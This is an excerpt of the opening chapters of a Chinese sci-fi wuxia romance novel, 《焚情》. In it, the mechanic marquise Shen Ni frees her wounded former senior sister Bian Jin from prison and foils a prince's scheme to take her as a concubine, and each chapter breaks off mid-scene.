《焚情》
1. 第 1 章
《焚情》全本免费阅读
雪夜,长安城郊,双极楼。
险峭的东西双峰如鬼影憧憧。
决定孤注一掷的少女破开山间的风雪。
心跳盖过天地间簌簌而落的乱琼碎玉。
口中呼出一团团焦急的白气,很快被抛之脑后。
点点灯火中,师姐朦胧的轮廓就在不远处。
衣衫湿透,沈逆压抑着寒颤,站到对方面前。
“师姐,这次出征太凶险,你旧伤未愈,我不想你去。”
雪白的屋檐下,正在擦拭长鞭的边烬抬起被烟雨沾湿的冷眸。
她的声音沉静,一如既往笃定,不容置喙。
“我若不去,燕落必溃。京师即倾,覆巢之下焉有完卵。”
沈逆知道她是为了帝国的存亡,为了师门的安危。
但边烬已经为国出征过三年。
当时也是边关告急,她临危受命带兵讨贼,退敌后带着一身伤回来。
旁人只道她是帝国战无不胜的利刃,万事有她。
沈逆看到的,却是她褪下衣物后浑身可怖的伤痕。
她也只有一条命,会受伤,会痛,也会死。
那次凯旋,天子已经承诺让边烬卸甲归田,不过十六个月,敌军再次杀入边疆,邪祟再临。天子火急火燎求到双极楼,希望边烬能再次领兵出征燕落,破军杀敌。
她以为师姐不会去的。
师姐答应过她,不会再受伤,不会离开双极楼,不会再离开她。
可师姐终究是应了。
无数的话堵在沈逆的喉咙间,无法说出口。
知师姐心意已决,谁也无法说动她。
握紧双拳,骨节青白。
千愁万绪到最后只剩一句。
沈逆说:“我随你一起去。”
没想到边烬拒绝得斩钉截铁。
“不可。燕落危机重重,你得留在师门。”
即将分离的恐慌让沈逆不顾仪礼,握住边烬戴着手套的手。
沈逆表白的话很简短。
“你是我这辈子最最重要的人。你去何处,我便要随你去何处。”
夜寒天寂,万物披着一层半衰的僵冷,唯有沈逆那双眼,燃着破釜沉舟的炽热。
边烬读懂了师妹深藏的情绪。
面上掠过一丝讶异,转瞬即逝,很快再度冷下脸。
她毫不容情地将沈逆的手拂开。
转身,用背对着沈逆,淡薄地重复:“留在师门。”
倔强的少女终究没有听她的话,藏在大军之中,追随去了北边战场。
那是沈逆完全不熟悉的另一个世界。
充满了血腥的杀戮,恐怖的异兽,满地血脑残肢。
最难的一战,沈逆混在死士小队中,漏夜突袭,杀了六十多名敌兵,也险些赔了一只眼睛。
被围在嘹戾岭,以为自己会死在此地,没想到边烬从天而降,杀入重围,硬生生将她救了出来。
未给她一丝温情,直接五花大绑,押回师门。
师门前,沈逆被反绑双臂,跪罚三天三夜,外加十鞭。
雪地中的边烬单手抽鞭,银白色的骨鞭自她腰间抽出时,割出一阵恐怖的戾哮。
“今日罚你是因你顽劣忤逆,违背门规,桀骜不驯。”
沈逆迎着边烬沉沉的目光,明白边烬在给她机会认错。
当着这么多同门的面将错处认了,边烬或许就不舍得罚了。
沈逆抬起头,活脱脱一棵凌云青松,任烈风吹拂。
“师姐若要我乖顺,当初又何必赐我名为‘逆’?”
边烬眸中情绪有一瞬的交杂,下一刻,手起鞭落,狠狠抽在沈逆后背上。
沈逆绷紧了身子,硬生生扛着,半点声音不露。
有人想求情,边烬横眉相对,“谁来求情,与她同罚。”
没人敢再吭声。谁都知道边烬的一鞭子能让人皮开骨断,何况是十鞭。
边烬一贯宠爱沈逆,第一次忍心罚得这般重。
无人发觉,她执鞭之手在轻颤。
十鞭下去,沈逆后背被打得血肉模糊,精疲力竭,上身坠在雪地中。
几乎要昏迷时,听到头顶传来边烬不带感情的声音。
“此番不过小惩大诫,往后若再无视门规肆行犯上,我定不轻饶。可记住了?”
师尊已逝,门派内外都由边烬这个大师姐打理。
她的话便是双极楼的金科玉律。
沈逆慢慢抬起被束的身子,雪块自额头簌簌下落,露出鹰一般年轻又雪亮的眼睛,再次仰头瞵着边烬。
汗与血混在一起,眼里忍着发亮的泪,沾满了血的双唇却上扬了,勾勒出发颤的笑意。
“没齿难忘。”
当年,这四个字究竟有没有推动边烬的眼波,大雪封目,沈逆看不真切。
只有深入骨髓的冷和痛刻在梦境的末尾。
化作难消的酸痛,久久不熄。
……
气流颠簸中,沈逆醒了。
睁开狭长凤眼,朝暾初露,阔别多年的长安城近在眼前。
一路飞驰到城门前,方才梦中余情如一层半化不化的蛛网,黏在她的心绪上。
有一阵子没有梦到师姐了,还以为不会再梦到那位绝情人。
大抵因为这趟赶回京师的目的,正是她。
沈逆闭了闭酸涩的眼,刚将自动驾驶接管回来,便见城门口的队伍一字排开。
站在队伍前方的城门令伸长了脖子,眯起眼睛翘首以盼,琢磨着天际那粒和风雪不相容的黑点,应该就是靖安侯沈逆。
听闻靖安侯乍然回京,城门令一大早领兵列队来城门口相迎,万不可怠慢了。
这位草根出身的靖安侯,乃是当今帝国第一机械师。
她在燕落亲自打造了五万精兵,将敌国弦昼的二十万人马杀得落花流水。
甚至连在这片大陆所向披靡,令人闻风丧胆的邪祟“黑魔方”都被她焚骨扬灰。
长达六年的北境之乱暂时在她手中划下落点。
沈逆人还没回京,天子封侯的敕旨,连带着绯袍、金鱼袋,以及盛重的封赏,急追着送去燕落。
收复燕落的消息传入长安时,举国欢腾。
沈逆是燕落大捷的功臣,也是帝国的恩人。
中枢内外无不感叹,属于边烬的旧时代已经成为历史。
是沈逆,一剑劈开了旧日暮气,“边烬”这个带给帝国不详的朽烂名字,一并被她斩碎,可谓名标青史。
如今要说谁是帝国最炙手可热的权臣,这位年轻的靖安侯必是第一人。
沈逆自天边来,乘着飞艇像一支离弦之箭,转眼刺到城门口。
城门令从未见过沈逆其人,只听说过她手段狠厉,以为是位虎体武将。
抬起双臂正待施礼,却见从面前闪过的女郎约莫双十年华,头戴幞头,绯袍之外罩着件白领玄背大氅,大氅被寒风吹得猎猎作响。
一阵烈风兜面而来,城门令和列队士兵皆被吹得咬牙闭眼。
只有那女郎眉眼不动。
似来自苦寒之地,这点风雪并不放在眼里。
沈逆分过来一眼,细长的眉眼斜挑。
玉容似花,粲粲若妖。
城门令双唇动了动,神志都被她这明艳的一眼荡迷糊了。
恭迎的话没来得及出口,沈逆已经飞入城门,消失无踪。
沿着朱雀大道,沈逆向大理寺狱的方向低空飞行。
滴——
飞艇中控屏上显示有“飞鸽传信”,来自曾倾洛。
曾倾洛是沈逆在双极楼时的外门师妹,也是她在京中的耳目。
失踪三年的边烬如今身陷囹圄,这则消息是曾倾洛第一时间传给她的。
点开曾倾洛的信。
曾倾洛在信中说:【大理寺严刑拷问,没能从大师姐口中撬出半个字。他们的手段你是知道的,大师姐应该受了不少罪,你要有心理准备。】
沈逆心里有数。
羁押在大理寺狱的都是恶名昭彰的朝廷要犯。
无论什么罪名,入狱之后得先脱一层皮。
入此狱,等于半条腿迈进了鬼门关。
近十年来,没人能从大理寺狱中脱罪。
边烬是第一个。
多年未见过边烬,此时沈逆的心情有些复杂。
六年前,十六岁的沈逆被边烬罚跪师门,重惩十鞭。
之后边烬重回北境,两人再无联系。
师姐妹关系决裂的传闻很快从师门传遍整个京师。
之后三年飞逝,师姐没有回来,传回来的只有她叛国失踪的消息。
日日都在苦练的沈逆再无人能管束她,她在天子行宫前拦下天子,御前自荐,出征燕落。
到了遍地狼烟的燕
2. 第 2 章
《焚情》全本免费阅读
长安城内,兴化坊。
靖安侯府先前乃是秦王王府。
秦王政绩平平,倒是喜欢玩花弄草,这座宽敞的多进院落不见浮夸的奢华,处处都是赏心悦目的雅致。
秦王离京后此宅一直空置,直到被天子亲自批入沈逆的封赏名录之中。
靖安侯府早就被打扫干净,只是这位新主人还未搬入任何家私。
府内除了一间装满赏赉的屋子,其余各处空空荡荡,婢女们行走时都能听到回声。
府中没有家私,但作为当今帝国唯一双S机械天赋的机械师,无论走到何处,沈逆必定会随身携带机械工程箱。
侯府北边的一间僻静厢房,暂被征用为工作室。
厢房连着一处汤泉,据管家万姑姑说,这处汤泉历史悠久,能驱风止痛。
沈逆将边烬抱到汤泉边。
本想亲自帮她沐浴去污,可她俩之前有那档子事,怕边烬醒来知道后会多想,便叫府中管家万姑姑过来帮忙。
万姑姑勤力,立即去备沐浴器物。
沈逆离开前提了十多条注意事项。哪些伤口要避开,哪些伤口一定要清洗干净,以及哪些伤口清洗的时候用哪些药剂,以及喷上多厚的防水层……
万姑姑:……
万姑姑五十有一,幸好一直在当差,脑子还算灵光,也有意在新主面前表现,便将这些繁杂的条件统统写入记忆模块之中,一会儿也好翻找。
万姑姑曾经在双极楼担任过一段时间的内务管家,后来边烬失踪沈逆离去,师门彻底没落,她便到长安城讨生活,与师门旧友们一直有来往。
沈逆对她知根知底,交代完便离开了。
沐浴完毕,沈逆亲自拿了毯子过来。
万姑姑擦着汗过来对沈逆说:“你师姐醒了。”
沈逆走到汤泉边,满目热气当做屏障,她什么也未看,将边烬裹紧,抱着她往工作室的方向去。
离开时她对万姑姑说:“我要闭门五日,任何人来访都不见。”
万姑姑:“喏。”
沈逆的动作已经极度轻柔,细微的动荡依旧痛到边烬浑身轻颤。
沈逆知道她忍痛的能力一向很强。
普通人要是遭这份罪,恐怕早就叫得撕心裂肺。
而边烬,只有微不可闻的一声细吟。
路上,天降细雪。
鼻尖发凉,怀中人安静温暖。
这位斩尽寇雠,以铁腕著称的前北境总都督,身躯也和普通人一样柔软。
胸前传来轻轻的摩擦声。
边烬费劲地抬起头,看向抱着她的人。
沈逆垂眸,迎上边烬那双眼。
记忆中大师姐的眼睛冷冽如雪,暗藏烈星,任何时候都明亮从容,充满威严。
从未这般虚弱,微红。
“阿摇……”
边烬忽然唤了这个小字,无力地攥住沈逆的衣襟。
沈逆没有应她,用脚顶开门,把边烬放置在准备好的工作台上。
无论是“沈逆”这个大名,还是“阿摇”这小字,都是边烬起的。
据说当初她在西极峰捡到不满周岁的沈逆,正是最忙碌的时候,她自己也才是个半大的孩子。
可沈逆必须要她抱在怀里,边摇边哄才肯睡觉。
再忙边烬也一直纵着她,还给她起了一个略带戏谑的小字,阿摇。
一叫就是十六年。
自六年前向她表白后,她就再也没有唤过“阿摇”这个小字。
寄回双极楼的书信里,很少提到沈逆。
即便迫不得已提到,也都是直呼大名。
戴上手套,提来工程箱时,沈逆在想,边烬是认出我了,还是在做梦?
她也会梦到我?
回眸,伏在床上的边烬,又一次在精疲力竭中陷入昏迷。
掀开绒毯,面对边烬伤痕累累的后背,沈逆开启第一轮漫长的修复工作。
……
一晃数日。
大明宫,含华殿内。
终于将魏王连哄带骗请了出去,天子李渃元将朱砂电子笔转了又转,双脚在空中交错晃荡着,往门口望了几趟,问身边的内侍:
“沈逆如何还不来?”
内侍无言以对。
能让天子等着,这靖安侯的功绩和胆子都算是旷古无两了。
可谁叫天子现在得仰仗她呢?
内侍恭顺道:“奴婢瞧瞧去。”
内侍刚走到含华殿门口,便见沈逆面前挡着一人,正是此人拖住了她面圣的脚步。
挡路者约莫而立之年,一身紫袍,胡须修剪精致,肩上搭锦色裘衣,左眼眼眶下有一道嵌合纹路,瞳孔表面是抛光的钛合金,虽转动时和右眼保持一致,瞳仁冰冷的银灰依旧让人无法忽略。
此人正是刚才被天子敷衍回程的魏王李褚。
李褚负手而立,与沈逆说着话,却是看着天边云雀。
“……靖安侯不仅年少有为,还难得心胸开阔,着实让本王佩服啊。”
李褚像一只精神抖擞的锦鸡,还特别有自知之明,知道沈逆不会搭话,便自己接着往下说:
“听说你与那边烬师出同门,却有宿怨,没想到你会不计前嫌,对天子信誓旦旦将她保了出来,还前往大理寺狱亲自将她接去你侯府。靖安侯这等宽宏大量,本王甚感欣慰。”
沈逆慢悠悠地“哦”了一声,“魏王欣哪门子的慰?”
李褚都做好跟她虚与委蛇的准备,谁知沈逆的回应这般轻佻又直接,完全不将他放在眼里。
他好歹是当今天子同母胞弟。
区区一个靖安侯,竟敢对他出言不逊。
李褚脸上的神色变了变,终究压着脾气,没有发作,笑容更盛。
只是这回,他目光从天边收回,紧眙着沈逆。
李褚道:“边烬曾出任北境总都督,统领北境十二州,也算是为国尽过忠。如今残废了,身上叛国疑罪未除,但我们皇家向来宽仁大度,即便有错,也会念在过往的功绩准她安度残年。本王已呈请圣上,纳边烬为妾。”
无论沈逆和边烬之间到底有多深的龃龉,边烬都是双极楼的大师姐,备受崇敬的当家人。
这魏王要纳她为妾,便是将双极楼的脸往地里碾。
这些年李褚一直在紧盯边烬的动向,伺机报复。
他的左眼,正是边烬射瞎的。
如今边烬落难,在李褚眼里她已然成了人尽可欺的残废,终于盼到了报复的机会,怎么能让沈逆再坏了他的好事?
他要将边烬锁在身侧,尽情折辱。
李褚本以为会看到沈逆愤怒的表情。
可沈逆依旧安安稳稳地沐浴在金光之下,嘴角含笑,静若止水。
内侍生怕他们会在含华殿动粗,也顾不上什么礼仪了,立即插话。
“靖安侯,陛下等候您多时了。”
沈逆对李褚挥了挥手,手势和赶苍蝇一模一样。
“殿下,让让。”
李褚眉峰一抖,“你……”
一个“你”字冲出口后,意识到自己被气到失态,很快冷笑一声,拂袖从沈逆身边走过。
离开时还不忘留下一句。
“这些日子就让她暂住靖安侯府,也好全了你们师门情谊。到底是师姐妹,往后也别生分了才是。”
沈逆拢着大氅,完全不在意他的挑衅,看似无意说了句题外话。
“殿下的义眼用了不少时日吧,状态似乎不太稳定。当抽空去看看,晚了怕不止是瞎一只眼。”
李褚难以置信地回头,而沈逆全程都没有转身的打算,缓步向含华殿去。
内侍见两人到底没打起来,暗暗擦了把汗。
沈逆走入含华殿内,内侍没跟进去,将殿门合上,守在外面。
“沈逆啊沈逆,你终于来了。”
殿内响起清脆的少女音。
沈逆向龙椅上的李渃元行礼。
“修复边烬的身子耽误了些时辰,来晚了,望陛下恕罪。”
李渃元用朱砂笔在电子屏上写了一个潦草难看的“准”字,便兴冲冲从龙椅上跃下,亲自将沈逆扶起。
“爱卿快快起身。”
沈逆站起,身量比李渃元高出一头有余。
李渃元一张稚嫩的圆脸上忧心忡忡,君臣许久没见,也不说废话,将一份文书递
3. 第 3 章
《焚情》全本免费阅读
听完沈逆的“诚求”,李渃元只觉得一阵头疼。
她坐回龙椅,歪着圆脑袋,食指抵着额角,抬眸看向沈逆。
“朕若允了此事,那爱卿也得应朕一件事。”
沈逆:“陛下言重了,微臣自当为陛下尽股肱之力。”
李渃元心道,话说得好听,满不在乎随口一提的模样倒是半点不藏。
李渃元:“朕知道爱卿这些年在燕落履险蹈危,回京前,朕也许诺过让你解甲休养。可城防工事是国之根本,只有建固城防,才能彻底隔绝黑魔方侵入京华。连年战事又逢病毒作乱,京师百姓无法承受更多的风雨了……燕落大捷后,帝国得以喘息,现在正是修筑城防的最佳时机。可这工事太过庞杂,先前的总监事不堪重用,进度缓慢,还屡屡查出祿蠹。继续耗下去,国库恐怕无力支撑。此事唯有爱卿可解,不是朕出尔反尔。”
沈逆颔首,心道,你当年也是这样许诺边烬,而后还不是又逼她出征。
你出尔反尔不过家常便饭。
沈逆口中说:“捐驱济难,以身报国,微臣之志也。”
李渃元一笑,露出一对可爱的酒窝。
“好好好,有官如卿是百姓之福。朕承诺爱卿,只是监管城防工事,绝不操劳。”
不管李渃元所言由不由衷,沈逆就随意一听,她已经要到她想要的了。
领命谢恩。
.
第二日起,新任城防总监事沈逆走马上任。
城防是一座二十丈高的巨型防护墙,位于长安城门二十里外,呈圆环状绕城一圈。
城防不仅防着因黑魔方异化的疯子和异兽,更得防随时都有可能卷土重来的黑魔方直接入侵城内。
工程书中显示,内嵌电子防御系统能以每息为单位铺开侦测网,侦测任何试图渗透入城的电子病毒,确保不给黑魔方留下任何滋生的土壤。
城与防护墙中间区域是以军事建筑为主的缓冲带。
若遇外敌,可在缓冲带与之决一死战,将城内损失减至最小。
若内变故,缓冲带也可以当做隔离决断的场所。
这等结构,无论是对外御敌还是对内防护都算稳固。
血淋淋的历史已经告诉这个时代的所有人,黑魔方是不死的病毒,它有可能被暂时打入泥里,只待一阵“春风”,它又会死灰复燃。
如今这片大陆上三大古国并立,周遭还有数十个零星小国,全都在为大型城池修建城防。
沈逆看过工部送给她的工程书,想法凑合,但是工部的人落地不了。
沈逆一向不喜欢接手烂摊子,就像被人丢过来一个半大不小的孩子,一身成形的恶习,偏偏还要她来管教。
等她到了城防处一看,松了口气。
幸好不是烂摊子。
连摊子都没有,地基都没能搭起来。
工部尚书让沈逆有什么需求尽管提,他负责处理。
沈逆也不客气,将准备好的五百多项注意事项递给工部尚书,让他五日内办妥。
工部尚书:……
让你尽管提,没让你提的这么丧心病狂。
城防工事耗费巨大,是可以列入国史前列的浩大工程,他不想担责。
如今有人顶在他上面,回头天塌下来也砸不到他头上,他也乐得退居二线。
沈逆慢悠悠地补充一句:“我还需一位助理属官。”
工部尚书生怕这小娘子要自己跟在她身后跑腿,立刻说:“助理属官得好好选,最好是总监事熟悉之人,才能将总监事委托要事办妥。”
尚书心里打的算盘珠子都要崩到沈逆脸上了。
沈逆好脾气地说:“多谢尚书提醒,我正好有一位合适人选。”
尚书笑道:“全凭总监事调任。”
沈逆这便将她留在京中多年的耳目曾倾洛,光明正大地带到了身边。
尚书后来才知道,这位曾倾洛数年前得罪了朝中某位权贵,早在内廷黑名单中,不得为官。
沈逆这回直接给她安插到工部的工部司,出任主事。
任职书还是工部尚书亲自递给吏部的,之后想要反悔也无路可退。
自知被沈逆算了一计,工部尚书不敢再看轻这年轻的女郎,每每看到她明艳的笑容都觉得像只狐狸成了精,怪怕人的。
连着两日沈逆早出晚归,边烬也一直睡睡醒醒,醒来的时辰很短,意识模糊。
能醒是好事,说明先前的维修和治疗方案有效,她正在慢慢恢复。
第三日。
沈逆骑着马从城防处回来,曾倾洛与她同行。
马从闹市过,前行缓慢。
曾倾洛问道:“大师姐还没醒吗?我想再去看看她。”
曾倾洛和沈逆也算是师出同门,是外门师妹,听着沈逆和边烬的传说长大的,自己天赋只是B级,对这两位拥有双S级天赋的师姐仰慕不已。边烬受伤后她一直都很记挂。
沈逆算了一算,今晚边烬可能会清醒。
沈逆:“你过两日便可以去看她。”
“好!”曾倾洛双眼放光,“那我买点礼物去瞧她。”
沈逆:“她可不稀罕什么礼物。能有师妹去探望,她会开心的。”
边烬这半辈子都在为国、为师门操劳。
师尊过世得早,说是大师姐一个人撑起师门不为过。
说她无情,实则有义,只不过这份情意无关私人爱欲。
她心里装的,是沈逆顶烦的“大爱”。
师门旧情来探望,她自然开心。
除了沈逆这位师妹。
不知道师姐再见到她时,会是什么表情。
……
两人又闲叙了几句曾倾洛便离开了。
回府的路上,沈逆路过一家卖糖的店铺。
从店铺中荡出甜香,沈逆骑着马缓缓靠过去,在门口下马,把马绳扣进栓马桩。
主人离去,白色的马体渐渐变暗。
沈逆进屋,店家是位二十多岁的少妇,见她身着官袍,又是个年轻俊俏的女郎,必定是个大主顾,立即迎上来为她介绍当季新品。
店家一边介绍,一边暗暗打量沈逆。
这张脸一看就是纯天然没有改装过的,骨相奇佳,让人赏心悦目。
店家看着看着入了迷,说话都慢了几分。
沈逆就像没察觉店家暧昧的目光,点了眼前的糖膏,说:“这款口味,我要十罐。”
“好咧!”
长得跟神仙一样美,出手还这般阔绰,真教人抵挡不住。
店家将糖膏悉数包好,暗暗夹了一张她飞鸽传信的好友二维码在里面。
递过来的时候,指尖看似无意地在沈逆的手背上蹭了一下。
店家软着身子挨上来,花枝般的娇柔。
“官家,本店还支持送货上门哦。”
沈逆轻巧转身,没让对方挨着,店家差点摔着。
“谢谢。”
店家无言。
这女郎看着客客气气的,却半点不让人近身,冷得很。
离去前,沈逆将那张二维码夹出来。
“这东西不是我的,怕是拿错了吧。”
指尖轻转,二维码被飞到桌面上。
店家:“哎……”
沈逆没给她多说的机会,转身离去。
到了门口,上马时她听到有人路过,提了一嘴“魏王”。
“听说魏王要纳妾了,纳的还是以前那位北境总都督!”
“什么?你是说,边烬?”
“可不么,就是她!”
“她不是因叛国被问罪了吗?”
“听说被魏王保出来了,还不顾她声名狼藉,要纳她入王府。”
“皇室真够体面了,这边烬福气不浅呐。”
……
沈逆上了马,马身又亮了起来。
回府的一路上,“魏王纳妾”这四个字时不时灌入沈逆的耳中。
沈逆微提嘴角。
声势浩大啊。
.
兴化坊,靖安侯府。
意识渐渐回拢时,边烬嗅到了熟悉的禅茶香。
双极楼以前时常弥漫着这道浅香。
嗅觉的记忆相较于其他感官总是更出色,她以为自己回到了师门。
艰难地睁开眼,却是一处陌生卧房。
素色帷帐被挂在床角,四下空空荡荡,只有床前雕花长案后坐着一位女郎。
那女郎微垂着眉眼,手里握着一卷文书,灯光淡淡,映出半张脸。
边烬想起了师妹。
这女郎即便不言不语,眉眼之中的风情也难以忽略。
与记忆中师妹清泠泠的样子又不太相似。
沈逆抬眸时,发现边烬不知何时醒了,正一言不发地凝望自己。
指腹压在文书边缘,文书慢慢变暗,沈逆从案几后起身,戴上手套,握着一个连着吸管的容器过来。
待她走近,眉眼看得更清楚了。
边烬安静收回目光。
是师妹无误。
不是梦,她真的被沈逆从大理寺狱中接了出来。
“喝点。”
沈逆的声音倒是没太大的变化。
两人分别时,沈逆还是二八年华,五官尚留着稚气,嗓音已变,当时略有点变声期余留下来的沙哑。
而今,声音中的沙哑感已经完全不见,清越中藏着风韵。
沈逆要喂她,边烬不习惯被伺候,更不习惯递来的吃食,想坐起来。
被沈逆用眼神制了回去。
吸管压到边烬嘴边,沈逆道:“营养液,有甜味。喝完你才动得了。”
边烬凝视那吸管片刻,想要抬手去接,发现手臂没有任何力气。
沈逆似乎早就料到她会这么做,见她吃瘪,眼中掠过一丝不愿隐藏的笑意。
边烬有些恼,但若不喝,恐怕更没有行动的力气。
只能就着沈逆的手,含住。
沈逆目光落在边烬的唇上。
因严重的洁癖,能入边烬
4. 第 4 章
《焚情》全本免费阅读
侯府大,厢房又多,沈逆随意选了一间距离边烬最远的卧房。
卧房挨着小门,沈逆早出晚归,又让人将药膳直接送入边烬屋内,两人在同一屋檐下却没有碰面的机会。
偶尔沈逆从游廊路过,透过雪中红梅,会看见边烬在万姑姑的陪同下重新练习行走。
边烬性子极其要强,就连复健都想比旁人快。
换成普通人,不在床上躺上一个月是不可能下地的。才短短几日,她已经让万姑姑撒手,试着独行了。
边烬绾起青丝,一点点碎发贴在如玉的后颈,因为在用力忍痛,小小的耳朵尖上泛起一丝桃红。
沈逆安静地看了一会儿,很快收回目光,无声离开。
又过两日,曾倾洛提着大包小包来府上探望边烬。
边烬精神好了许多,脸上也有点儿血色了,穿着一件月光色斗篷,对曾倾洛笑。
和曾倾洛一同进门的沈逆暗暗瞧她。
师姐笑得还同以前一样好看,对着曾倾洛毫不吝啬温柔的笑容,这些日子她沈逆可不曾有这优待。
不想打扰这对师姐妹叙旧,沈逆转身离开。
曾倾洛将礼物交给万姑姑,握着边烬的手笑得停不下来,没几句话,见她行动不便,念及她旧日里对自己的照顾,以及后来的遭遇,眼睛又红了。
边烬带她坐下,套着鹿皮手套的手抽来纸巾,为她拭泪。
“怎么还哭了。”
“师姐受苦了……”
“我这不是好端端的么。倒是你,何时来的长安城?”
边烬去燕落打仗三年,消失三年,沈逆有多久没见过她,双极楼其他的师妹就有多久没她的音信。
曾倾洛说:“三年前我随小师姐去燕落打仗,打了两年,受了伤,实在坚持不下去便回来了,之后一直在京师谋生。”
“京师谋生不易,可有受苦?”
曾倾洛小时家中变故,父亲早死,之后母亲又亡,投奔双极楼后,边烬对她如长姐温煦和蔼,是她孤苦幼时不多的温暖。
“不苦不苦,在京师的门内外同门都受小师姐照拂,无人敢欺辱。”
曾倾洛的话让边烬有些意外。
在她印象中,沈逆还是那个容易意气用事,不服管教的孩子。
却在她没有参与的岁月里,成长为师门依仗了。
沈逆去拿了今日份的营养液回来,正待进门,听见曾倾洛问:
“大师姐,你当初与小师姐感情那么好,大家都羡慕至极,如何舍得罚她罚得那般重。之后怎就结了仇似的不往来了。我们都很担心你们俩,想问又不敢问。”
沈逆双臂环抱,怡然站在墙后。
她倒是想听听嘴笨的边烬如何糊弄曾倾洛。
边烬顿了几息,平声道:“是我对她太严苛。”
这话倒是出乎沈逆的意料。
边烬想转开话题,便说她数年未回京师,对城中事物和当下租房程序都不太熟悉,问曾倾洛是否能教她怎么看房。
曾倾洛苦口婆心道:“何必出去找房,小师姐这儿就很好啊。你爱她护她的心意她肯定知道的。而且你俩曾经感情那般好,住在此处正好找机会冰释前嫌,小师姐不是那等爱记仇的人。”
沈逆在心里默念一句“我是”。
看不到边烬的表情,只听到她声音里不带情绪。
“我与她不宜多见面。不好叨扰。”
不宜多见面。
沈逆戴着手套的指腹在杯壁上轻滑着,一趟又一趟。
二人正在说话,突然听见前院有人吆喝,更有刺耳的锣鼓声,堂而皇之地冲进宁静雅致的靖安侯府。
家仆后背上一个醒目的脚印,急匆匆地跑进来要寻沈逆。
边烬和曾倾洛问发生什么事了。
家仆抹了一把额间急出的汗,“那魏王不请自来,带了一大群人闹到府上,说带了什么聘礼,要纳、纳边女郎为……为,哎!他现在人已经到前厅了!”
这段时日边烬都在侯府养伤,没有出门,可魏王刻意闹出大动静,满城皆知。
府中家仆偶尔低声提到一些细碎字词,边烬在心中排列一番,也知晓了。
她与魏王才是真有宿怨,她想搬出去也是明白自己仇人多,不愿给侯府添麻烦。
魏王来的比她想象中快。
正好。
边烬一把将曾倾洛随身携带的匕首给抽了出来。
曾倾洛这把防身匕首藏得很隐蔽,她都不知道边烬什么时候发现的,且动作极快极利落,没等她反应就抽走了。
若两人交锋,她恐怕已经被边烬一刀穿心。
大师姐受了重伤,身手和战斗本能依旧能轻松碾压她。
边烬对曾倾洛道:“你在此等我。”
曾倾洛知道大师姐看着冷然,实则脾气极烈。
“大师姐,你不是要去把王爷给——”
曾倾洛对自己的脖子比了一个手起刀落的动作。
边烬:“放心,我会将他拐出侯府再杀。”
曾倾洛:……
这如何能放心,魏王再烦人他也是王爷,当今天子一母胞弟。
曾倾洛急急跟着边烬往外去的路上,给沈逆飞了一鸽。
【小师姐,你在哪儿呢!出事了!】
院中。
“侯君,侯君!”
万姑姑着急忙慌地到处找沈逆,终于寻到,见她居然就站在院内树下避雪。
“侯君,您怎么在这?那魏王私闯侯府说要带边女郎走,您快去看看吧!”
本以为沈逆会快步去前厅,却见她不言不语,不知听到没听到,微微浮着双眉,只看着手里的容器。
万姑姑:“侯君?”
营养液味道本不太好,所以沈逆特意加入了一些桂花味糖膏。
那抹桂花香,也是边烬喜欢的味道。
边烬很少透露自己对桂花的偏好,相伴的那十六年里,她统共就说过两次。
一次是她俩一起去秋猎的时候,正好路过一片桂花林,天地间流荡着花香,边烬骑马带着沈逆在林中多转了两圈。
另一次是某年正月,沈逆负责师门新春糕点的采买,问边烬想吃什么口味,边烬不假思索选了桂花味。
这些小事换作普通人恐怕早记不得了。
沈逆也不想记得,但她的记忆非同常人。
自三岁起的所有事情,无论大小,全都牢牢刻在她的记忆中,想忘都忘不了。
大夫说她的脑子像个巨大的存储器,这是罕见的天赋。
沈逆自己翻了医书才知道,这是超忆症。
她年幼还不会骑马时,边烬总是将她抱在身前,带着她骑,小心翼翼地呵护着。
耍小性子的时候,不知天高地厚胡闹的时候,难过哭泣的时候,是师姐对她温柔纵容。
即便全世界都不在乎她,还有师姐护她、爱她。
就算被拒被罚,师姐将她捧在手心里疼爱的点滴,不写入记忆模块,也一直烙在有血有肉的心头。
无论想与不想,她忘不了。
万姑姑见沈逆着了魔般纹丝不动,更是着急,想要再说时,沈逆将水杯递给她,迈步到院角,这里堆放着装储天子封赏的木箱子。
木箱子上贴着红纸,上面还写了一个大大的“赏”字。
沈逆揭下一张,回头,“万姑姑,您有笔吗?可写字的笔。”
万姑姑不知她是何意,立即去书房找了一支蘸了墨的紫毫来。
沈逆左手托着红纸,边走边随意地在上面写字。
她腿长步伐快,万姑姑险些跟不上。
万姑姑:“侯君,您这是……在写什么?”
沈逆:“请柬。”
万姑姑:“请……柬?”
此刻,前厅。
魏王李褚大剌剌地坐在主人位上,两排随从站得齐齐整整,屋外锣鼓喧天,聘礼一箱箱往里搬。
纳妾还送这么多聘礼的,倒是第一次见。
兴化坊虽不比闹市,可魏王的座驾醒目,加上刻意闹出的大动静,还是引来不少邻里暗暗围观。
李褚手里捻着朵艳红色的山茶花,看见边烬来了,嘴角挑起,将花向她的方向弹过去,花落在她脚下。
李褚上扬下巴,点着桌面,亮起一双狼眼讥讽道:
“许久未见,边楼主怎么落魄至此了?”
当初李褚要收编双极楼时,边烬已是执掌师门的楼主。
边烬是以“楼主”的身份和李褚结仇,李褚便用这名称唤她。
和李褚的咄咄逼人不同,边烬心平气定,说出来的话却绵里藏针。
“是许久未见,魏王的手段又下作不少。今日是特意送另一只眼睛上门,让我一箭赐你一对义眼?”
李褚没想到边烬还敢挑衅他。
左眼乍然作痛,攥紧拳头,对随从放话道:
“还愣着干什么,还不快将孺人接回府中!”
随从们应了一声“喏”,便要上来拿边烬。
边烬动也未动,心想着随他们绑了去,只要出了侯府,她做任何事都不会连累沈逆。
即便弑了王爷也只是她一个人犯事,与沈逆无关。
她虽重伤,但师妹的修复技术的确了得。
更换脊柱后,以她现在的体力可以使出一招,威力趋近于巅峰时期。
这些虾兵蟹将的小命串在一起,都扛不住她这一下。
曾倾洛在一旁起急,见李褚等人真要动粗,心下一横就要上来帮边烬。
随从们未能近边烬的身,只觉得一阵劲风从脸上扫过来,还没能看清晃了眼睛的是何事物,胸口骤然震荡,被一股巨大的
5. 第 5 章
《焚情》全本免费阅读
天子指婚沈逆和边烬的奇事,很快传遍长安城。
连带着李褚黑着一张脸跪在靖安侯府,敢怒不敢言的狼狈模样,也成了京圈近期最为津津乐道的笑料。
至于天子为什么会指一出怎么看都兴味十足的婚事,众说纷纭。
有人觉得天子即便纵边烬出狱,也没有放弃追查叛国一案,知道大理寺不堪用,这想用沈逆来勾她开口。
也有人猜测,指婚是沈逆亲自向天子讨来的。她俩在师门的时候就不对付的事儿无人不晓,何况还有罚跪和鞭笞之仇。作为新旧两任北境总都督,更是王不见王。
